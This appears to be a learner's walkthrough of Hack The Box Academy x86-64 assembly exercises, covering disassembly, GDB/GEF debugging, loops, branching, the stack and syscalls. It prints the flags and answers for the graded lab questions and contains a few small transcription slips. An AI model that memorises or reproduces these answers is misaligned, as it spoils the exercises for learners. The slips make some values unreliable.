PRACTICAL EXERCISES
ASSEMBLY LANGUAGE
In the below 'Hello World' example, which Assembly instruction will '00001111 00000101' execute?
//Hello World Assembly Instruction
mov rax, 1
mov rdi, 1
mov rsi, message
mov rdx, 12
syscall
mov rax, 60
mov rdi, 0
syscall
//Hello World Hexadecimal Machine Code Representation
48 c7 c0 01
48 c7 c7 01
48 8b 34 25
48 c7 c2 0c
0f 05
48 c7 c0 3c
48 c7 c7 00
0f 05
//Hello World Binary Machine Code Representation
01001000 11000111 11000000 00000001
01001000 11000111 11000111 00000001
01001000 10001011 00110100 00100101
01001000 11000111 11000010 00001101
00001111 00000101
01001000 11000111 11000000 00111100
01001000 11000111 11000111 00000000
00001111 00000101
REGISTERS, ADDRESSES & DATA TYPES
What is the 8-bit register for 'rdi'?
Description 64-bit 32-bit 16-bit 8-bit
----------------------------------------------------------------
Data / Argument Registers
Syscall Number / Return val rax eax ax al
Callee Saved rbx ebx bx bl
1st arg - Destination operand rdi edi di dil
2nd arg - Source operand rsi esi si sil
3rd arg rdx edx dx dl
4th arg - Loop counter rcx ecx cx cl
5th arg r8 r8d r8w r8b
6th arg r9 r9d r9w r9b
Pointer Registers
Base Stack Pointer rbp ebp bp bpl
Current / Top Stack Pointer rsp esp sp spl
Instruction Pointer (call) rip eip ip ipl
ASSEMBLING & DISASSEMBLING
Download the attached file and disassemble it to find the flag
//TRIAGE
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/disasm.zip
root@htb:~$ ls
disasm.zip
root@htb:~$ unzip disasm.zip
Archive: disasm.zip
inflating: disasm
root@htb:~$ file disasm
disasm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
root@htb:~$ strings disasm
HBT{d154553m811n9_81n42135_2_f1nd_53c2375}
disasm.s
message
length
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
.data
root@htb:~$ objdump -M intel -d disasm
disasm: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 b8 00 20 40 00 00 movabs rax,0x402000
401007: 00 00 00
40100a: 48 31 c0 xor rax,rax
40100d: b8 3c 00 00 00 mov eax,0x3c
401012: bf 00 00 00 00 mov edi,0x0
401017: 0f 05 syscall
root@htb:~$ objdump -M intel -sj .data disasm
disasm: file format elf64-x86-64
Contents of section .data:
402000 4842547b 64313534 3535336d 3831316e HBT{d154553m811n
402010 395f3831 6e343231 33355f32 5f66316e 9_81n42135_2_f1n
402020 645f3533 63323337 357d d_53c2375}
DEBUGGING WITH GDB
Download the attached file, and find the hex value in 'rax' when we reach the instruction at <_start+16>?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/gdb.zip
...
root@htb:~$ ls
gdb.zip
root@htb:~$ unzip gdb.zip
Archive: gdb.zip
inflating: gdb
//TRIAGE
root@htb:~$ file gdb
gdb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
root@htb:~$ strings gdb
Academy!H5I
gdb.s
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
root@htb:~$ objdump -M intel -d gdb
gdb: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 b8 41 63 61 64 65 movabs rax,0x21796d6564616341
401007: 6d 79 21
40100a: 48 35 49 14 02 00 xor rax,0x21449
401010: 48 31 c0 xor rax,rax
//DEBUGGING
root@htb:~$ gdb -q ./gdb
Reading symbols from ./gdb...
(No debugging symbols found in ./gdb)
(gdb) All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000402000 __bss_start
0x0000000000402000 _edata
0x0000000000402000 _end
(gdb) info variables
All defined variables:
(gdb) break *_start
Breakpoint 1 at 0x401000
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401000 <_start>
breakpoint already hit 1 time
(gdb) run
Starting program: /home/htb-ac-53539/gdb
(gdb) disassemble _start
Dump of assembler code for function _start:
=> 0x0000000000401000 <+0>: movabs $0x21796d6564616341,%rax
0x000000000040100a <+10>: xor $0x21449,%rax
0x0000000000401010 <+16>: xor %rax,%rax
(gdb) break *0000000000401010
Breakpoint 5 at 0x20208
(gdb) si
0x000000000040100a in _start ()
(gdb) disas
Dump of assembler code for function _start:
0x0000000000401000 <+0>: movabs $0x21796d6564616341,%rax
=> 0x000000000040100a <+10>: xor $0x21449,%rax
0x0000000000401010 <+16>: xor %rax,%rax
End of assembler dump.
(gdb) si
0x0000000000401010 in _start ()
(gdb) disas
Dump of assembler code for function _start:
0x0000000000401000 <+0>: movabs $0x21796d6564616341,%rax
0x000000000040100a <+10>: xor $0x21449,%rax
=> 0x0000000000401010 <+16>: xor %rax,%rax
(gdb) x/wx 0x0000000000401010
0x401010 <_start+16>: 0x00c03148
* x (1st x) examines memory
* /wx controls how the memory is displayed:
- w refers to word (in x86-64, a word here means 4 bytes).
- x (2nd x) refers hexadecimal format.
(gdb) info registers rax
rax 0x21796d6564637708 2412079357676975880
* this shows the contents of RAX before the xor %rax,%rax executes.
- when xor %rax,%rax executes RAX = 0x0 as any value XOR’d with
itself becomes 0
DATA MOVEMENT
Add an instruction at the end of the attached code to move the value in "rsp" to "rax". What is the hex value of "rax" at the end of program execution?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/mov.zip
...
root@htb:~$ unzip mov.zip
Archive: mov.zip
inflating: mov.s
root@htb:~$ cat mov.s
global _start
section .text
_start:
mov rax, 1024
mov rbx, 2048
xchg rax, rbx
push rbx
root@htb:~$ nano mov.s
...
push rbx
mov rax, [rsp]
root@htb:~$ nasm -f elf64 mov.s -o mov.o
root@htb:~$ ld mov.o -o mov
root@htb:~$ gdb ./mov
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./mov...
(No debugging symbols found in ./mov)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000402000 __bss_start
0x0000000000402000 _edata
0x0000000000402000 _end
gef> break *_start
Breakpoint 1 at 0x401000
gef> info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401000 <_start>
gef> run
0x400ffa add BYTE PTR [rax], al
0x400ffc add BYTE PTR [rax], al
0x400ffe add BYTE PTR [rax], al
●→ 0x401000 <_start+0000> mov eax, 0x400
0x401005 <_start+0005> mov ebx, 0x800
0x40100a <_start+000a> xchg rbx, rax
0x40100c <_start+000c> push rbx
0x40100d <_start+000d> mov rax, QWORD PTR [rsp]
0x401011 add BYTE PTR [rax], al
gef> si 4
→ 0x40100d <_start+000d> mov rax, QWORD PTR [rsp]
0x401011 add BYTE PTR [rax], al
0x401013 add BYTE PTR [rax], al
0x401015 add BYTE PTR [rax], al
0x401017 add BYTE PTR [rax], al
0x401019 add BYTE PTR [rax], al
* In GDB/GEF, the arrow → points to the next instruction that will be executed.
- To execute that instruction and step forward, use the "si" (step instruction) command.
gef> info registers
rax 0x800 0x800
rbx 0x400 0x400
gef> si
$rax : 0x400
$rbx : 0x400
gef> info registers rax
rax 0x400 0x400
ARITHMETIC INSTRUCTIONS
Add an instruction to the end of the attached code to "xor" "rbx" with "15". What is the hex value of 'rbx' at the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/arithmetic.zip
root@htb:~$ unzip arithmetic.zip
root@htb:~$ cat arithmetic.s
global _start
section .text
_start:
xor rax, rax
xor rbx, rbx
add rbx, 15
root@htb:~$ nano arithmetic.s
...
add rbx, 15
xor rbx, rbx
root@htb:~$ nasm -f elf64 arithmetic.s -o arithmetic.o
root@htb:~$ ld arithmetic.o -o arithmetic
root@htb:~$ ls
arithmetic
root@htb:~$ gdb -q ./arithmetic
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./arithmetic...
(No debugging symbols found in ./arithmetic)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
gef> break *_start
Breakpoint 1 at 0x401000
gef> run
...
●→ 0x401000 <_start+0000> xor rax, rax
0x401003 <_start+0003> xor rbx, rbx
0x401006 <_start+0006> add rbx, 0xf
0x40100a <_start+000a> xor rbx, 0xf
0x40100e add BYTE PTR [rax], al
0x401010 add BYTE PTR [rax], al
gef> si 3
→ 0x40100a <_start+000a> xor rbx, 0xf
gef> info registers
rax 0x0 0x0
rbx 0x0 0x0
LOOPS
Edit the attached assembly code to loop the "loop" label 5 times. What is the hex value of "rax" by the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/loops.zip
root@htb:~$ unzip loops.zip
root@htb:~$ cat loops.s
global _start
section .text
_start:
mov rax, 2
mov rcx, 5
loop:
imul rax, rax
root@htb:~$ nano loops.s
...
mov rcx, 5
loop5: ;although valid, rename IOT avoid confusion
imul rax, rax
loop loop5
root@htb:~$ nasm -f elf64 loops.s -o loops.o
root@htb:~$ ld loops.o -o loops
root@htb:~$ gdb -q ./loops
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./loops...
(No debugging symbols found in ./loops)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
gef> break *_start
gef> info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401000 <_start>
gef> run
●→ 0x401000 <_start+0000> mov eax, 0x2
0x401005 <_start+0005> mov ecx, 0x5
0x40100a <loop5+0000> imul rax, rax
0x40100e <loop5+0004> loop 0x40100a <loop5>
0x401010 add BYTE PTR [rax], al
0x401012 add BYTE PTR [rax], al
gef> si 3
0x400fff add BYTE PTR [rax+0x2], bh
0x401005 <_start+0005> mov ecx, 0x5
0x40100a <loop5+0000> imul rax, rax
→ 0x40100e <loop5+0004> loop 0x40100a <loop5>
0x401010 add BYTE PTR [rax], al
0x401012 add BYTE PTR [rax], al
0x401014 add BYTE PTR [rax], al
0x401016 add BYTE PTR [rax], al
0x401018 add BYTE PTR [rax], al
gef>
0x401005 <_start+0005> mov ecx, 0x5
0x40100a <loop5+0000> imul rax, rax
0x40100e <loop5+0004> loop 0x40100a <loop5>
→ 0x401010 add BYTE PTR [rax], al
0x401012 add BYTE PTR [rax], al
0x401014 add BYTE PTR [rax], al
0x401016 add BYTE PTR [rax], al
0x401018 add BYTE PTR [rax], al
0x40101a add BYTE PTR [rax], al
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "loops", stopped 0x401010 in ?? (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401010 → add BYTE PTR [rax], al
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef> p /x $rax
$1 = 0x100000000
* Iteration 1: rax = 2 * 2 = 4
Iteration 2: rax = 4 * 4 = 16
Iteration 3: rax = 16 * 16 = 256
Iteration 4: rax = 256 * 256 = 65,536
Iteration 5: rax = 65,536 * 65,536 = 4,294,967,29
* p means print
* /x means hexadecimal
* $rax is the specified register
* p/d $rax Print rax as signed decimal 4294967296
p/x $rbx Print rbx as hexadecimal 0x100000000
p/u $rcx Print rcx as unsigned decimal 4294967296
p/t $rdx Print rdx as binary 100000000000000000000000000000000
UNCONDITIONAL BRANCHING
Try to jump to "func" before "loop loop". What is the hex value of "rbx" at the end?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/unconditional.zip
root@htb:~$ unzip unconditional.zip
root@htb:~$ cat unconditional.s
section .text
global _start
_start:
mov rbx, 2
mov rcx, 5
loop:
imul rbx, rbx
loop loop
func:
mov rax, 60
mov rdi, 0
syscall
root@htb:~$ nano unconditional.s
...
_start:
mov rbx, 2
mov rcx, 5
loop:
imul rbx, rbx
jmp func ;jmp placed here per instruction
loop loop
func:
mov rax, 60
mov rdi, 0
syscall
root@htb:~$ nasm -f elf64 unconditional.s -o unconditional.o
root@htb:~$ ld unconditional.o -o unconditional
root@htb:~$ gdb -q ./unconditional
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./unconditional...
(No debugging symbols found in ./unconditional)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x000000000040100c loop
0x0000000000401012 func
gef> break *_start
Breakpoint 1 at 0x401000
gef> break *func
Breakpoint 2 at 0x401012
gef> info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401000 <_start>
2 breakpoint keep y 0x0000000000401012 <func>
gef> run
gef> si 3
0x400fff add BYTE PTR [rbx+0x2], bh
0x401005 <_start+0005> mov ecx, 0x5
0x40100a <loop+0000> imul rbx, rbx
→ 0x40100e <loop+0004> jmp 0x401012 <func>
0x401010 <loop+0006> loop 0x40100a <loop>
● 0x401012 <func+0000> mov eax, 0x3c
0x401017 <func+0005> mov edi, 0x0
0x40101c <func+000a> syscall
0x40101e add BYTE PTR [rax], al
gef> si
0x40100e <loop+0004> jmp 0x401012 <func>
0x401010 <loop+0006> loop 0x40100a <loop>
● 0x401012 <func+0000> mov eax, 0x3c
→ 0x401017 <func+0005> mov edi, 0x0
0x40101c <func+000a> syscall
0x40101e add BYTE PTR [rax], al
0x401020 add BYTE PTR [rax], al
0x401022 add BYTE PTR [rax], al
0x401024 add BYTE PTR [rax], al
gef> p /x $rbx
$2 = 0x4
gef> info registers rbx
rbx 0x4 0x4
CONDITIONAL BRANCHING
The attached assembly code loops forever. Try to modify (mov rax, 5) to make it not loop. What hex value prevents the loop?
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/conditional.zip
root@htb:~$ unzip conditional.zip
root@htb:~$ cat conditional.s
section .text
global _start
_start:
mov rax, 5 ; change here
imul rax, 5 ; rax = 5 * 5 (25)
;rax == 10 Zero Flag is set No (loop exits)
;rax != 10 Zero Flag is clear Yes (loop continues)
; cmp rax, 10 must set ZF = 1 (i.e., rax == 10) to prevent the loop (jnz not taken)
loop:
; if (rax == 10) then ZF = 1 → do not loop
; if (rax != 10) then ZF = 0 → jump to loop
cmp rax, 10 ; rax = 25 - 10 (15)
; subtract 10 from RAX (without storing the result),
; then set flags accordingly (especially Zero Flag).
jnz loop ; Jump back to loop if the result of the comparison doesn't set ZF to 1 (true) (i.e., RAX != 10)
* imul performs signed multiplication, meaning it treats the operands as
signed integers (can be negative or positive) when calculating the result.
root@htb:~$ nano conditional.s
section .text
global _start
_start:
;mov rax, 5 ; change here - must change rax to equal 10
mov rax, 2
imul rax, 5 ; rax = 2 * 5 (10)
; cmp rax, 10 must set ZF = 1 (i.e., rax == 10) to prevent the loop (jnz not taken)
loop:
; if (rax == 10) then ZF = 1 → do not loop
; if (rax != 10) then ZF = 0 → jump to loop
cmp rax, 10 ; rax = 10 - 10 (0) - this must be = 0 to prevent the loop
jnz loop ; think of jnz as (a != b)
* imul performs signed multiplication, meaning it treats the operands as
signed integers (can be negative or positive) when calculating the result.
root@htb:~$ nasm -f elf64 conditional.s -o conditional.o
root@htb:~$ ld conditional.o -o conditional
root@htb:~$ gdb -q ./conditional
gef> info func
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000401009 loop
gef> break *_start
Breakpoint 1 at 0x401000
gef> break *loop
Breakpoint 2 at 0x401009
gef> info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000000000401000 <_start>
2 breakpoint keep y 0x0000000000401009 <loop>
gef> run
0x400ffa add BYTE PTR [rax], al
0x400ffc add BYTE PTR [rax], al
0x400ffe add BYTE PTR [rax], al
●→ 0x401000 <_start+0000> mov eax, 0x2
0x401005 <_start+0005> imul rax, rax, 0x5
0x401009 <loop+0000> cmp rax, 0xa
0x40100d <loop+0004> jne 0x401009 <loop>
0x40100f add BYTE PTR [rax], al
0x401011 add BYTE PTR [rax], al
gef> si 2
0x400ffe add BYTE PTR [rax], al
● 0x401000 <_start+0000> mov eax, 0x2
0x401005 <_start+0005> imul rax, rax, 0x5
→ 0x401009 <loop+0000> cmp rax, 0xa
0x40100d <loop+0004> jne 0x401009 <loop>
0x40100f add BYTE PTR [rax], al
0x401011 add BYTE PTR [rax], al
0x401013 add BYTE PTR [rax], al
0x401015 add BYTE PTR [rax], al
gef> si
● 0x401000 <_start+0000> mov eax, 0x2
0x401005 <_start+0005> imul rax, rax, 0x5
0x401009 <loop+0000> cmp rax, 0xa
→ 0x40100d <loop+0004> jne 0x401009 <loop> NOT taken [Reason: !(!Z)]
0x40100f add BYTE PTR [rax], al
0x401011 add BYTE PTR [rax], al
0x401013 add BYTE PTR [rax], al
0x401015 add BYTE PTR [rax], al
0x401017 add BYTE PTR [rax], al
* → 0x40100d <loop+0004> jne 0x401009 <loop> NOT taken [Reason: !(!Z)]
- 0x2 prevents the loop
USING THE STACK
Debug the attached binary to find the flag being pushed to the stack
root@htb:~$ curl -O https://academy.hackthebox.com/storage/modules/85/stack.zip
root@htb:~$ unzip stack.zip
//TRIAGE
root@htb:~$ file stack
stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
root@htb:~$ strings stack
r3v3r53}PH
r1n9_1n_PH
1n9_4_57PH
HTB{pu5hP
stack.s
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text
//DEBUGGING
root@htb:~$ gdb -q ./stack
gdb -q ./stack
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./stack...
(No debugging symbols found in ./stack)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000402000 __bss_start
0x0000000000402000 _edata
0x0000000000402000 _end
gef> break *_start
Breakpoint 1 at 0x401000
gef> run
0x400ffa add BYTE PTR [rax], al
0x400ffc add BYTE PTR [rax], al
0x400ffe add BYTE PTR [rax], al
●→ 0x401000 <_start+0000> push 0x0
0x401002 <_start+0002> movabs rax, 0x7d33357233763372
0x40100c <_start+000c> push rax
0x40100d <_start+000d> movabs rax, 0x5f6e315f396e3172
0x401017 <_start+0017> push rax
0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf30│+0x0000: 0x0000000000000001 ← $rsp
0x00007fffffffdf38│+0x0008: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0010: 0x0000000000000000
0x00007fffffffdf48│+0x0018: 0x00007fffffffe26f → "SHELL=/bin/bash"
0x00007fffffffdf50│+0x0020: 0x00007fffffffe27f → "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
0x00007fffffffdf58│+0x0028: 0x00007fffffffe2e1 → "WINDOWID=52428806"
0x00007fffffffdf60│+0x0030: 0x00007fffffffe2f3 → "QT_ACCESSIBILITY=1"
0x00007fffffffdf68│+0x0038: 0x00007fffffffe306 → "COLORTERM=truecolor"
* movabs allows loading large addresses or large constants directly into
registers.
- without it, you’d need multiple instructions (like mov + shl + or) to
build a 64-bit constant.
gef> si
0x400ffb add BYTE PTR [rax], al
0x400ffd add BYTE PTR [rax], al
0x400fff add BYTE PTR [rdx+0x0], ch
→ 0x401002 <_start+0002> movabs rax, 0x7d33357233763372
0x40100c <_start+000c> push rax
0x40100d <_start+000d> movabs rax, 0x5f6e315f396e3172
0x401017 <_start+0017> push rax
0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
0x401022 <_start+0022> push rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf28│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffdf30│+0x0008: 0x0000000000000001
0x00007fffffffdf38│+0x0010: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0018: 0x0000000000000000
0x00007fffffffdf48│+0x0020: 0x00007fffffffe26f → "SHELL=/bin/bash"
0x00007fffffffdf50│+0x0028: 0x00007fffffffe27f → "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
0x00007fffffffdf58│+0x0030: 0x00007fffffffe2e1 → "WINDOWID=52428806"
0x00007fffffffdf60│+0x0038: 0x00007fffffffe2f3 → "QT_ACCESSIBILITY=1"
gef> si
0x00007fffffffdf28│+0x0000: 0x0000000000000000 ← $rsp
0x00007fffffffdf30│+0x0008: 0x0000000000000001
0x00007fffffffdf38│+0x0010: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0018: 0x0000000000000000
0x00007fffffffdf48│+0x0020: 0x00007fffffffe26f → "SHELL=/bin/bash"
0x00007fffffffdf50│+0x0028: 0x00007fffffffe27f → "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
0x00007fffffffdf58│+0x0030: 0x00007fffffffe2e1 → "WINDOWID=52428806"
0x00007fffffffdf60│+0x0038: 0x00007fffffffe2f3 → "QT_ACCESSIBILITY=1"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400ffd add BYTE PTR [rax], al
0x400fff add BYTE PTR [rdx+0x0], ch
0x401002 <_start+0002> movabs rax, 0x7d33357233763372
→ 0x40100c <_start+000c> push rax
0x40100d <_start+000d> movabs rax, 0x5f6e315f396e3172
0x401017 <_start+0017> push rax
0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
0x401022 <_start+0022> push rax
0x401023 <_start+0023> movabs rax, 0x683575707b425448
───────────────────────────────────────────────────────────────────
gef> si
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf20│+0x0000: "r3v3r53}" ← $rsp
0x00007fffffffdf28│+0x0008: 0x0000000000000000
0x00007fffffffdf30│+0x0010: 0x0000000000000001
0x00007fffffffdf38│+0x0018: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0020: 0x0000000000000000
0x00007fffffffdf48│+0x0028: 0x00007fffffffe26f → "SHELL=/bin/bash"
0x00007fffffffdf50│+0x0030: 0x00007fffffffe27f → "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
0x00007fffffffdf58│+0x0038: 0x00007fffffffe2e1 → "WINDOWID=52428806"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
● 0x401000 <_start+0000> push 0x0
0x401002 <_start+0002> movabs rax, 0x7d33357233763372
0x40100c <_start+000c> push rax
→ 0x40100d <_start+000d> movabs rax, 0x5f6e315f396e3172
0x401017 <_start+0017> push rax
0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
0x401022 <_start+0022> push rax
0x401023 <_start+0023> movabs rax, 0x683575707b425448
0x40102d <_start+002d> push rax
gef> si
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf18│+0x0000: "r1n9_1n_r3v3r53}" ← $rsp
0x00007fffffffdf20│+0x0008: "r3v3r53}"
0x00007fffffffdf28│+0x0010: 0x0000000000000000
0x00007fffffffdf30│+0x0018: 0x0000000000000001
0x00007fffffffdf38│+0x0020: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0028: 0x0000000000000000
0x00007fffffffdf48│+0x0030: 0x00007fffffffe26f → "SHELL=/bin/bash"
0x00007fffffffdf50│+0x0038: 0x00007fffffffe27f → "SESSION_MANAGER=local/htb-pqus1mtc9b:@/tmp/.ICE-un[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40100c <_start+000c> push rax
0x40100d <_start+000d> movabs rax, 0x5f6e315f396e3172
0x401017 <_start+0017> push rax
→ 0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
0x401022 <_start+0022> push rax
0x401023 <_start+0023> movabs rax, 0x683575707b425448
0x40102d <_start+002d> push rax
0x40102e <_start+002e> mov eax, 0x3c
0x401033 <_start+0033> mov edi, 0x0
gef> si
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf10│+0x0000: "1n9_4_57r1n9_1n_r3v3r53}" ← $rsp
0x00007fffffffdf18│+0x0008: "r1n9_1n_r3v3r53}"
0x00007fffffffdf20│+0x0010: "r3v3r53}"
0x00007fffffffdf28│+0x0018: 0x0000000000000000
0x00007fffffffdf30│+0x0020: 0x0000000000000001
0x00007fffffffdf38│+0x0028: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0030: 0x0000000000000000
0x00007fffffffdf48│+0x0038: 0x00007fffffffe26f → "SHELL=/bin/bash"
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401017 <_start+0017> push rax
0x401018 <_start+0018> movabs rax, 0x37355f345f396e31
0x401022 <_start+0022> push rax
→ 0x401023 <_start+0023> movabs rax, 0x683575707b425448
0x40102d <_start+002d> push rax
0x40102e <_start+002e> mov eax, 0x3c
0x401033 <_start+0033> mov edi, 0x0
0x401038 <_start+0038> syscall
0x40103a add BYTE PTR [rax], al
gef> si
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf08│+0x0000: "HTB{pu5h1n9_4_57r1n9_1n_r3v3r53}" ← $rsp
0x00007fffffffdf10│+0x0008: "1n9_4_57r1n9_1n_r3v3r53}"
0x00007fffffffdf18│+0x0010: "r1n9_1n_r3v3r53}"
0x00007fffffffdf20│+0x0018: "r3v3r53}"
0x00007fffffffdf28│+0x0020: 0x0000000000000000
0x00007fffffffdf30│+0x0028: 0x0000000000000001
0x00007fffffffdf38│+0x0030: 0x00007fffffffe256 → "/home/htb-ac-53539/stack"
0x00007fffffffdf40│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401022 <_start+0022> push rax
0x401023 <_start+0023> movabs rax, 0x683575707b425448
0x40102d <_start+002d> push rax
→ 0x40102e <_start+002e> mov eax, 0x3c
0x401033 <_start+0033> mov edi, 0x0
0x401038 <_start+0038> syscall
0x40103a add BYTE PTR [rax], al
0x40103c add BYTE PTR [rax], al
0x40103e add BYTE PTR [rax], al
SYSCALLS
What is the syscall number of "execve"?
root@htb:~$ man -s 2 execve
...
#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
root@htb:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
#define __NR_execveat 322
How many arguments does "execve" take?
root@htb:~$ man -s 2 execve
...
#include <unistd.h>
int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);
root@htb:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
#define __NR_execve 59
#define __NR_execveat 322
PROCEDURES
Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes)
root@htb:~$ nano procedure.asm
section .data
message db "Fibonacci Sequence:", 0x0a
section .text
global _start
_start:
call printMessage ; print intro message
call initFib ; set initial Fib values
call loopFib ; calculate Fib numbers
call Exit ; Exit the program
printMessage:
mov rax, 1 ; rax: syscall number 1
mov rdi, 1 ; rdi: fd 1 for stdout
mov rsi,message ; rsi: pointer to message
mov rdx, 20 ; rdx: print length of 20 bytes
syscall ; call write syscall to the intro message
ret
initFib:
xor rax, rax ; initialize rax to 0
xor rbx, rbx ; initialize rbx to 0
inc rbx ; increment rbx to 1
ret
loopFib:
add rax, rbx ; get the next number
xchg rax, rbx ; swap values
cmp rbx, 10 ; do rbx - 10
js loopFib ; jump if result is <0
ret
Exit:
mov rax, 60
mov rdi, 0
syscall
root@htb:~$ nasm -f elf64 procedure.asm -o procedure.o
...
root@htb:~$ ld procedure.o -o procedure
...
root@htb:~$ gdb -q ./procedure
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from ./procedure...
(No debugging symbols found in ./procedure)
gef> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000401014 printMessage
0x0000000000401030 initFib
0x000000000040103a loopFib
0x0000000000401046 Exit
gef> disas _start
Dump of assembler code for function _start:
0x0000000000401000 <+0>: call 0x401014 <printMessage>
0x0000000000401005 <+5>: call 0x401030 <initFib>
0x000000000040100a <+10>: call 0x40103a <loopFib>
0x000000000040100f <+15>: call 0x401046 <Exit>
End of assembler dump.
gef> disas printMessage
Dump of assembler code for function printMessage:
0x0000000000401014 <+0>: mov eax,0x1
0x0000000000401019 <+5>: mov edi,0x1
0x000000000040101e <+10>: movabs rsi,0x402000
0x0000000000401028 <+20>: mov edx,0x14
0x000000000040102d <+25>: syscall
0x000000000040102f <+27>: ret
End of assembler dump.
gef> break *_start
Breakpoint 1 at 0x401000
gef> run
...
gef> ni
* run ni (aka next instruction) several times to get to the exit
● 0x401000 <_start+0000> call 0x401014 <printMessage>
0x401005 <_start+0005> call 0x401030 <initFib>
0x40100a <_start+000a> call 0x40103a <loopFib>
→ 0x40100f <_start+000f> call 0x401046 <Exit>
↳ 0x401046 <Exit+0000> mov eax, 0x3c
0x40104b <Exit+0005> mov edi, 0x0
